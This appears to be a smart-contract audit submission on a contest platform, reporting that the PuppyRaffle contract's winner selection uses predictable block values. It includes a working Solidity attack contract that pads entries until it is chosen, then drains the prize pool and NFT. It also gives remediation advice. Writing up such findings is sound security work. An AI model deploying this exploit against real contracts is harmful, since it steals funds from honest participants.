The intended behavior is that selectWinner picks a random winner among all current players after the raffle duration has passed, then mints a puppy NFT to that winner and distributes 80% of the pot as the prize and 20% as fees.
The actual implementation derives “randomness” from publicly known, easily influenced on‑chain values (msg.sender, block.timestamp, block.difficulty) and lets any address call selectWinner. A motivated attacker can repeatedly try to call selectWinner in chosen conditions to bias the outcome in their favor and win disproportionately often.
Reason 1: msg.sender is fully controlled by the caller of selectWinner, and block.timestamp/block.difficulty are predictable or miner‑influenced. Attackers can repeatedly attempt to call selectWinner (or coordinate with miners) only in blocks where the resulting winnerIndex favors them, significantly increasing their win rate.
Reason 2: There is no access control on selectWinner, no commit‑reveal scheme, and no verifiable randomness. As soon as the raffle duration elapses, any attacker can front‑run or time their call to selectWinner to maximize their chance of being picked, especially in low‑participation raffles or when they control multiple player entries.
The attacker can systematically bias draws to win the majority of raffles, capturing both the prize pool (80% of collected entrance fees) and the NFTs, effectively extracting value from honest participants over time.
The economic fairness of the raffle is destroyed; players cannot rely on equal winning chances. Once discovered, this likely makes the protocol unusable, as informed users will not participate in a provably manipulable game.
In tests you can:
Set up a raffle with a few honest players plus several attacker‑controlled entries.
Mine until raffleStartTime + raffleDuration.
For each new block, simulate off‑chain what winnerIndex would be for various attacker‑controlled sender addresses using the same formula as the contract.
When a block is found where one of the attacker’s entries is chosen, send the selectWinner transaction from that address; assert that the attacker wins more often than statistically expected.
If integrating an oracle/VRF is out of scope, a minimum hardening step would be:
Remove caller‑controlled inputs like msg.sender from the randomness source.
Use a commit‑reveal scheme where participants commit to randomness before the raffle and the result is derived from combined commits, not just current block attributes.
## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.
The contest is live. Earn rewards by submitting a finding.
Submissions are being reviewed by our AI judge. Results will be available in a few minutes.
View all submissionsThe contest is complete and the rewards are being distributed.